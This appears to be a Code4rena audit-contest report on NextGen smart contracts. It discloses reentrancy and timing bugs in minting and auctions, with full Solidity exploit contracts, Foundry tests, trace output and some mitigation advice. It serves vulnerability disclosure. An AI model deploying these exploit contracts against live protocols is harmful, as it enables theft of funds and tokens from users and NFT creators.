Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 177/243
Findings: 2
Award: $0.15
π Selected for report: 0
π Solo Findings: 0
π Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200
Summary:
MinterContract.sol has a mint() method that allows a potential attacker to utilize a reentrancy attack via onERC721Received in a malicious contract in order to mint an arbitrary number of ERC721 tokens, above the limit enforced by the contract. This can occur during either Allowlist or Public mint phases.
Attack order:
Attack result: Attacker is able to mint as many ERC721 tokes as they want to under the total supply limit. The attacker is not limited to the enforced number of tokens allocated for each user (in example, 2 tokens).
Worst case scenario:
A high value ERC721 is launching. It is possible for a user to mint an arbitrary number of tokens far above the intended limit during either the allowlist (if attacker's contract is allowlisted) or public phase. This can be catastrophic for high value collections, as it may allow arbitrage by bad actors and cause reputational damage to the collection that is currently minting.
Even if there is a high mint price associated with mint, a highly sought after collection may provide ample incentive for an attacker to pay mint cost for dozens, hundreds, or thousands of tokens in order to achieve the desired arbitrage.
Detailed Description:
It is possible for an attacker to design a malicious smart contract to recursively call the mint() function repeatedly during allowlist (if attack contract is allowlisted) or public to mint an arbitrary number of ERC721 tokens. The section below will dive into how this is possible and the design of the proof of concept for this attack.
In MinterContract.sol, in the mint function (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254) there are lots of checks to ensure that the user can mint and to check if the user has minted. However, the order of the logic does not appear to follow the checks effects interactions pattern that is recommended.
For example, consider the following checks in MinterContract.sol by line number:
213 require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
217 require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
225 require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
237 gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
Lines 213, 217, and 225 all utilize a unique "tokens minted" count to ensure the user has not exceeded their mint allocation for their respective phase. Then, on line 237, the call to NextGenCore.sol:mint is made.
Here is the overview of NextGenCore.sol:mint (inline or at: https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200):
function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } } }
Note that mintProcessing is called on line 193 and that tokensMintedAllowlistAddress[_collectionID][_mintingAddress] or tokensMintedPerAddress[_collectionID][_mintingAddress] are not called until line 195 or 197 respectively.
In mintProcessing, the _safeMint function is called. This allows the malicious contract to include additional code in their onERC721Received method that can again call the mint() function in the MinterContract repeatedly, depending on cost of ERC721 and funds available to the attacker.
With the reentrant calls to mint, the tokensMintedAllowListAddress and tokensMintedPerAddress counts for the malicious address will not be incremented until after all minting has completed. This means that each additional reentrant mint will still show that the attacker has not used any of their mints (allowlist or public) and that they are still allowed to mint.
This will allow the attacker to use a malicious contract to mint as many ERC721 tokens as they wish, up to the collection's limit.
The Exploit:
Using the vulnerability outlined above, here is how we will carry out an exploit on the contract to mint an arbitrary number of ERC721 tokens:
Providing Proof of Concept (MintExploiter) repo via dropbox: https://www.dropbox.com/scl/fi/n7haccscflfp9ojxvp9cr/poc_mint.zip?rlkey=yopvtdbsum6owmqcezfba1mht&dl=0
Unzip the project and run forge test -vvvv
from the project root to see the POC in action
One note regarding the allowlist testing: To accommodate allowlist testing, MinterContract.sol line 220 was commented out as it is for verifying a MerkleProof, which was not available in the test suite. This change does not materially effect the proof of concept, as it is assumed this would be valid for an allowlist minter and the rest of the checks are still in play. If it is uncommented in the proof of concept test, the Allowlist test will fail due to merkleproof but the public mint exploit will still pass.
MintExploiter.sol:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./IERC721Receiver.sol"; import "./INextGenMinter.sol"; contract MintExploiter is IERC721Receiver { INextGenMinter public minter; uint256 counter = 0; bytes32[] public bytesArray; constructor(address _minterContract) { bytesArray.push(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870); minter = INextGenMinter(_minterContract); } // An event to log the received Ether. event EtherReceived(address indexed sender, uint256 value); // Fallback function to receive either receive() external payable { emit EtherReceived(msg.sender, msg.value); } // This function is called to receive a token on safeMint function onERC721Received(address, address, uint256 tokenId, bytes memory) external override returns (bytes4) { counter += 1; if(counter <= 254){ if(block.timestamp < 1697931178){ // Allowlist mint test minter.mint(1, 2, 2, '{"tdh": "200"}', address(this), bytesArray, address(0x0000000000000000000000000000000000000000), 2); } else { // Public mint test minter.mint(1, 2, 0, '{"tdh": "100"}', address(this), bytesArray, address(this), 2); } } // Return expected response confirming ERC721 received return this.onERC721Received.selector; } // Start the exploit by calling the mint function function startExploitPublic() external { minter.mint(1, 2, 0, '{"tdh": "100"}', address(this), bytesArray, address(this), 2); } function startExploitAllowlist() external { minter.mint(1, 2, 2, '{"tdh": "200"}', address(this), bytesArray, address(0x0000000000000000000000000000000000000000), 2); } // Add function to transfer ETH and NFTs out to another address controlled by attacker }
MintExploit.t.sol: Please note that we included some baseline tests to prove:
This was important to establish that the contract appears to be functioning as expected when carrying out these attacks.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../src/NFTDelegation.sol"; import "../src/XRandoms.sol"; import "../src/NextGenAdmins.sol"; import "../src/NextGenCore.sol"; import "../src/RandomizerNXT.sol"; import "../src/MinterContract.sol"; import "../src/AuctionDemo.sol"; import "../src/MintExploiter.sol"; contract MintExploit is Test { DelegationManagementContract hhDelegation; randomPool hhRandoms; NextGenAdmins hhAdmin; NextGenCore hhCore; NextGenRandomizerNXT hhRandomizer; NextGenMinterContract hhMinter; MintExploiter hhExploit; bytes32[] public bytesArray; address owner; address addr1; address addr2; address auctionERC721Holder; address exploitMint; event FinalMintCount(uint256 value); event FinalExploiterBalance(uint256 value); function setUp() public { owner = address(this); addr1 = vm.addr(1); addr2 = vm.addr(2); auctionERC721Holder = vm.addr(3); exploitMint = vm.addr(6); hhDelegation = new DelegationManagementContract(); hhRandoms = new randomPool(); hhAdmin = new NextGenAdmins(); hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin)); hhRandomizer = new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore)); hhMinter = new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin)); hhExploit = new MintExploiter(address(hhMinter)); hhAdmin.registerAdmin(address(hhMinter), true); bytesArray.push(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870); } function setUpCreateCollectionAndSetData() internal { vm.startPrank(owner); string[] memory t = new string[](1); t[0] = "test"; hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", t ); vm.stopPrank(); vm.startPrank(owner); hhAdmin.registerCollectionAdmin( 1, address(addr1), true ); hhCore.setCollectionData( 1, // _collectionID address(addr1), // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); } function setUpSetMinterAndRandomizerContracts() internal { hhCore.addMinterContract( address(hhMinter) ); hhCore.addRandomizer( 1, address(hhRandomizer) ); } function setUpSetCollectionCostsAndPhases() internal { hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 1, // _rate 1, // _timePeriod 2, // _salesOptions address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) // delAddress ); hhMinter.setCollectionPhases( 1, // _collectionID 1696931178, // _allowlistStartTime 1697931178, // _allowlistEndTime 1697931179, // _publicStartTime 1709931179, // _publicEndTime 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 // _merkleRoot ); } function testExpectedMintLimit() public { vm.warp(1698931179); setUpCreateCollectionAndSetData(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(); vm.warp(1699931179); vm.startPrank(addr1); hhMinter.mint(1, 2, 0, '{"tdh": "100"}', address(addr1), bytesArray, address(addr1), 2); vm.stopPrank(); uint256 finalMintCount = hhCore.balanceOf(address(addr1)); emit FinalMintCount(finalMintCount); assertEq(finalMintCount, 2, "Incorrect NFT amount"); } function testExpectedMintLimitRevertExpected() public { vm.warp(1698931179); setUpCreateCollectionAndSetData(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(); vm.warp(1699931179); vm.startPrank(addr2); hhMinter.mint(1, 2, 0, '{"tdh": "100"}', address(addr2), bytesArray, address(addr2), 2); vm.expectRevert(); hhMinter.mint(1, 2, 0, '{"tdh": "100"}', address(addr2), bytesArray, address(addr2), 2); vm.stopPrank(); uint256 finalMintCount = hhCore.balanceOf(address(addr2)); emit FinalMintCount(finalMintCount); assertEq(finalMintCount, 2, "Incorrect NFT amount"); } function testExploit1Public() public { vm.warp(1698931179); setUpCreateCollectionAndSetData(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(); vm.warp(1699931179); vm.startPrank(exploitMint); // Start exploit hhExploit.startExploitPublic(); vm.stopPrank(); // Verify MintExploiter.sol contract holds the ERC721 uint256 finalMintCount = hhCore.balanceOf(address(hhExploit)); emit FinalMintCount(finalMintCount); assertEq(finalMintCount, 510, "NFTs were not transferred"); } function testExploit2Allowlist() public { vm.warp(1696931178); setUpCreateCollectionAndSetData(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(); vm.warp(1697931169); vm.startPrank(exploitMint); // Start exploit hhExploit.startExploitAllowlist(); vm.stopPrank(); // Verify MintExploiter.sol contract holds the ERC721 uint256 finalMintCount = hhCore.balanceOf(address(hhExploit)); emit FinalMintCount(finalMintCount); assertEq(finalMintCount, 510, "NFTs were not transferred"); } }
Sample output from verbose test run:
β β β β β β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], tokenId: 10000000508 [1e10]) β β β β β β ββ [1289] MintExploiter::onERC721Received(NextGenMinterContract: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 0x0000000000000000000000000000000000000000, 10000000508 [1e10], 0x) β β β β β β β ββ β 0x150b7a0200000000000000000000000000000000000000000000000000000000 β β β β β β ββ β () β β β β β ββ β () β β β β ββ β 0x150b7a0200000000000000000000000000000000000000000000000000000000 β β β ββ β () β β ββ [534] NextGenCore::viewCirSupply(1) [staticcall] β β β ββ β 509 β β ββ [555] NextGenCore::viewTokensIndexMin(1) [staticcall] β β β ββ β 10000000000 [1e10] β β ββ [199874] NextGenCore::mint(10000000509 [1e10], MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], {"tdh": "200"}, 2, 1, 1) β β β ββ [35223] NextGenRandomizerNXT::calculateTokenHash(1, 10000000509 [1e10], 2) β β β β ββ [558] randomPool::randomNumber() [staticcall] β β β β β ββ β 203 β β β β ββ [8912] randomPool::randomWord() [staticcall] β β β β β ββ β Apple β β β β ββ [22851] NextGenCore::setTokenHash(1, 10000000509 [1e10], 0x42a7be28d4db1dcb219b448c15fd581b8b4f63eb66657bb50ac4a92d74dd03c0) β β β β β ββ β () β β β β ββ β () β β β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], tokenId: 10000000509 [1e10]) β β β ββ [1289] MintExploiter::onERC721Received(NextGenMinterContract: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 0x0000000000000000000000000000000000000000, 10000000509 [1e10], 0x) β β β β ββ β 0x150b7a0200000000000000000000000000000000000000000000000000000000 β β β ββ β () β β ββ β () β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [656] NextGenCore::balanceOf(MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [staticcall] β ββ β 510 ββ emit FinalMintCount(value: 510) ββ β () Test result: ok. 4 passed; 0 failed; 0 skipped; finished in 177.82ms Ran 1 test suites: 4 tests passed, 0 failed, 0 skipped (4 total tests)
Foundry
Reentrancy
#0 - c4-pre-sort
2023-11-19T14:33:01Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:32Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:23:32Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:23:54Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:07Z
alex-ppg marked the issue as satisfactory
π Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L114 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L130
Updated to Timing on this one and the other. Issue is both timing and Reentrancy, but this Reentrancy is not recursive so marking Timing as the leading issue.
Summary:
AuctionDemo.sol has two methods (claimAuction and cancelBid) that can be combined in a malicious contract to conduct a Timing and Reentrancy attack in order for the winning bidder to receive both the ERC721 token and also refund their winning bid.
Attack order:
Attack result: Attacker is able to receive both the ERC721 and their winning bid back.
Worst case scenario:
A high value ERC721 is being auctioned off where dozens or hundreds of ETH are being paid for the token. The winner is able to steal these funds from the contract while also successfully claiming the token they were bidding on.
This can result in the original token owner (auctioner) not receiving payment for auctioning their ERC721 OR may cause liquidity of the AuctionDemo contract to be incorrectly disbursed (if there are more than one auction running concurrently). This will eventually lead to liquidity issues where bid cancellations or sellers will not receive back/receive their funds (ETH).
Detailed Description:
In the AuctionDemo contract, both claimAuction and cancelBid utilize a block.timestamp check.
claimAuctionβs require with timestamp check looks like: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
cancelBidβs require with timestamp check looks like: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
Since both use βor equal toβ in their comparison, this means that both of these methods can be called at the same exact time - when block.timestamp is exactly the auction end time.
Letβs look more closely at what is happening in claimAuction:
Review by some specific line numbers: 105: requirements will be met when executed exactly at auction end time 106: auctionClaim is set to true, essentially serving as a mutex lock to block a re-entrant attack on this method (since itβs checked on line 105) 107-109: gathering highest bid, token owner, and highest bidder details 111: if statement that checks bidder is highest bidder, bid is highest bid, and auctionInfoData status showing that claim is still marked as true 112: if conditions of 111 are met, token is transferred to the winner via safeTransferFrom 113: owner of token is paid 114: results of call from line 113 is emitted
There are several issues here:
Now letβs look at cancelBid:
Review by some specific line numbers: 125: requirements will be met when executed exactly at auction end time 126: bidder must be msg.sender and auctionInfoData status must be true (ie, not refunded). This will be true as the claimAuction method does not set auctionInfoData status as false during itβs flow. 127: sets auctionInfoData to false, which will prevent a recurrent call to cancelBid 128: payable call executed to disburse refund 129: CancelBid event is emitted
Nothing here is inherently incorrect for this finding, but call on 128 should revert if it fails.
The Exploit:
Using the two methods outlined above, here is how we will carry out an exploit on the contract to receive the ERC721 token and refund our winning bid:
Providing Proof of Concept (ProofOfExploit) repo via dropbox: https://www.dropbox.com/scl/fi/491d9u2aeyhd3hkekq70f/poc.zip?rlkey=mzxb8zvnogalko2eujssocn50&dl=0
Unzip the project and run forge test -vvvv
from the project root to see the POC in action (screenshots below).
Screenshot of Exploit POC Contract code:
Screenshot of Foundry Test with POC in action:
Foundry output from running test:
Foundry
Several mitigation stops are recommended:
First, checks effects interactions pattern and locks should be properly implemented. This is followed successfully in the cancelBid and cancelAllBids functions where auctionInfoData[_tokenid][index].status is set to false prior to payment being sent. This should also occur immediately after line 111 in AuctionDemo. If auctionInfoData[_tokenid].status were set after line 111, then the reentrant call from onERC721Received to cancelBid would have failed as the auctionInfoData status would be set to false.
As it currently stands, the auctionInfoData status was checked on 111, but it is never updated. Instead, it is assumed that checks effects interactions will be enforced via the auctionClaim[_tokenid] being set to true in AuctionDemo:106. While this does work for subsequent calls to claimAuction, it did not account for potentially reentrant calls from the onERC721Received call via safeTransferFrom.
Second, the time equality check currently overlaps. While claimAuction has βblock.timestamp >= minter.getAuctionEndTime(_tokenid)β, it was found that cancelBid has block.timestamp <= minter.getAuctionEndTime(_tokenid) in its check. For this reason, the overlap of the equality operators allows for potential malicious interactions, as demonstrated. At least one of these should be changes to remove the βor equal toβ component so there is no overlap.
Third, while payment status from calls are stored and emitted, they are not enforced. If a payment status returns false in that there was an error with the payable call, then an error should be thrown and the state reverted.
Any one of these three items outlined would have prevented the attack demonstrated in the proof of concept (proof of exploit).
Timing
#0 - c4-pre-sort
2023-11-22T00:11:28Z
141345 marked the issue as duplicate of #1278
#1 - c4-pre-sort
2023-11-27T10:12:05Z
141345 marked the issue as not a duplicate
#2 - c4-pre-sort
2023-11-27T10:12:40Z
141345 marked the issue as duplicate of #962
#3 - c4-judge
2023-12-04T21:40:44Z
alex-ppg marked the issue as duplicate of #1323
#4 - alex-ppg
2023-12-08T18:10:49Z
This is the same submission as #975 by the same Warden, perhaps either should be removed/nullified.
#5 - c4-judge
2023-12-08T18:10:58Z
alex-ppg marked the issue as satisfactory
π Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L129
This finding is very similar to the one I submitted earlier titled "Timing + Reentrancy Attack Allows for Auction Winner to Receive ERC721 Token and Refund Themselves Winning Bid Amount".
However, this attack allows potentially greater damage so I wanted to submit this as well.
I trust the team to decide whether this belongs as a standalone finding or if it should be appended/included with the prior finding (and arguably increase the impact as they both could be combined). Again, the impact here is why I am submitting this writeup as this allows for potentially significant theft of funds.
Update: Updated to Timing on this one and the other. Issue is both Timing and Reentrancy, but this Reentrancy is not recursive so marking Timing as the leading issue.
Summary: AuctionDemo.sol has two methods (claimAuction and cancelBid) that can be combined in a malicious contract to conduct a Timing and Reentrancy attack in order for the winning bidder to withdraw up to nearly double what they entered into the contract via bids. This is especially possible if multiple auctions are concurrently ongoing and the contract has a large ETH balance.
Worst case scenario:
Several auctions are ongoing at the same time, with lots of bids coming in. A malicious contract is able to time the ending of the contract to extract up to nearly double their bid amounts entered via payable fallback exploit.
Let's review claimAuction: https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120
Review by some specific line numbers: 105: requirements will be met when executed exactly at auction end time 106: auctionClaim is set to true, essentially serving as a mutex lock to block a re-entrant attack on this method (since itβs checked on line 105) 107-109: gathering highest bid, token owner, and highest bidder details 115: if statement checks if auctionInfoData status showing that claim is still marked as true 116: if conditions of 115 are met, refund is issues via payable call 117: results of call from line 116 is emitted
There are several issues here:
Now letβs look at cancelBid: https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L129
Review by some specific line numbers: 125: requirements will be met when executed exactly at auction end time 126: bidder must be msg.sender and auctionInfoData status must be true (ie, not refunded). This will be true as the claimAuction method does not set auctionInfoData status as false during itβs flow. 127: sets auctionInfoData to false, which will prevent a recurrent call to cancelBid 128: payable call executed to disburse refund 129: CancelBid event is emitted
The Exploit:
Using the two methods outlined above, here is how we can double refund most of our bids:
Note: This works best if there are multiple ongoing auctions, as the ETH balance may be high enough to satisfy all refund requests.
Proof of concept of double withdrawal can be downloaded here: https://www.dropbox.com/scl/fi/7uuh1odlk9t8698ojn3vt/2023-10-nextgen-poc-double-withdrawal.zip?rlkey=1m0lytql5j6sz1j6awdz288r1&dl=0
DoubleWithdrawalExploit.sol:
pragma solidity ^0.8.19; import "./IERC721Receiver.sol"; import "./IAuctionDemo.sol"; contract DoubleWithdrawalExploit is IERC721Receiver { IAuctionDemo public auction; mapping (uint256 => uint256) public tokenData; mapping (uint256 => uint256) public indexData; mapping (uint256 => bool) public claimedStatus; struct auctionInfoStru { address bidder; uint256 bid; bool status; } constructor(address _auctionContract) { auction = IAuctionDemo(_auctionContract); } function bidOnAuction(uint256 _tokenIdTo) external payable { tokenData[msg.value] = _tokenIdTo; indexData[msg.value] = (auction.returnBids(_tokenIdTo)).length; // This will be the index of the next auction entry auction.participateToAuction{value: msg.value}(_tokenIdTo); } // An event to log the received Ether. event EtherReceived(address indexed sender, uint256 value); // Falback function to receive either receive() external payable { // Get index to refund if(!claimedStatus[msg.value]){ claimedStatus[msg.value] = true; // Prevent double claim on same cancelBid uint256 tokenId = tokenData[msg.value]; uint256 index = indexData[msg.value]; // Cancel bid on auction auction.cancelBid(tokenId, index); } emit EtherReceived(msg.sender, msg.value); } function onERC721Received(address, address, uint256 tokenId, bytes memory) external override returns (bytes4) { // Return expected response confirming ERC721 received return this.onERC721Received.selector; } // Start the exploit by calling the claimAuction in the AuctionDemo contract function startExploit(uint256 _tokenIdTo) external { auction.claimAuction(_tokenIdTo); } // Add function to transfer ETH out to another address controlled by attacker }
Implementation of exploit in Foundry test (DoubleRefund.t.sol):
pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../src/NFTDelegation.sol"; import "../src/XRandoms.sol"; import "../src/NextGenAdmins.sol"; import "../src/NextGenCore.sol"; import "../src/RandomizerNXT.sol"; import "../src/MinterContract.sol"; import "../src/AuctionDemo.sol"; import "../src/DoubleWithdrawalExploit.sol"; contract TimedAuction is Test { DelegationManagementContract hhDelegation; randomPool hhRandoms; NextGenAdmins hhAdmin; NextGenCore hhCore; NextGenRandomizerNXT hhRandomizer; NextGenMinterContract hhMinter; auctionDemo hhAuctionDemo; DoubleWithdrawalExploit hhExploit; address owner; address addr1; address addr2; address auctionERC721Holder; address testBid1; address testBid2; address testBid3; address testBid4; address exploitBid; function setUp() public { owner = address(this); addr1 = vm.addr(1); addr2 = vm.addr(2); auctionERC721Holder = vm.addr(3); testBid1 = vm.addr(4); testBid2 = vm.addr(5); testBid3 = vm.addr(6); testBid4 = vm.addr(7); exploitBid = vm.addr(8); vm.deal(testBid1, 10 ether); vm.deal(testBid2, 10 ether); vm.deal(testBid3, 10 ether); vm.deal(testBid4, 20 ether); vm.deal(exploitBid, 40 ether); hhDelegation = new DelegationManagementContract(); hhRandoms = new randomPool(); hhAdmin = new NextGenAdmins(); hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin)); hhRandomizer = new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore)); hhMinter = new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin)); hhAuctionDemo = new auctionDemo(address(hhMinter), address(hhCore), address(hhAdmin)); hhExploit = new DoubleWithdrawalExploit(address(hhAuctionDemo)); hhAdmin.registerAdmin(address(hhMinter), true); } function setUpCreateCollectionAndSetData() internal { vm.startPrank(owner); string[] memory t = new string[](1); t[0] = "test"; hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", t ); vm.stopPrank(); vm.startPrank(owner); hhAdmin.registerCollectionAdmin( 1, address(addr1), true ); hhCore.setCollectionData( 1, // _collectionID address(addr1), // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); } function setUpCreateCollectionAndSetData2() internal { vm.startPrank(owner); string[] memory t = new string[](1); t[0] = "test2"; hhCore.createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", t ); vm.stopPrank(); vm.startPrank(owner); hhAdmin.registerCollectionAdmin( 2, address(addr1), true ); hhCore.setCollectionData( 2, // _collectionID address(addr1), // _collectionArtistAddress 2, // 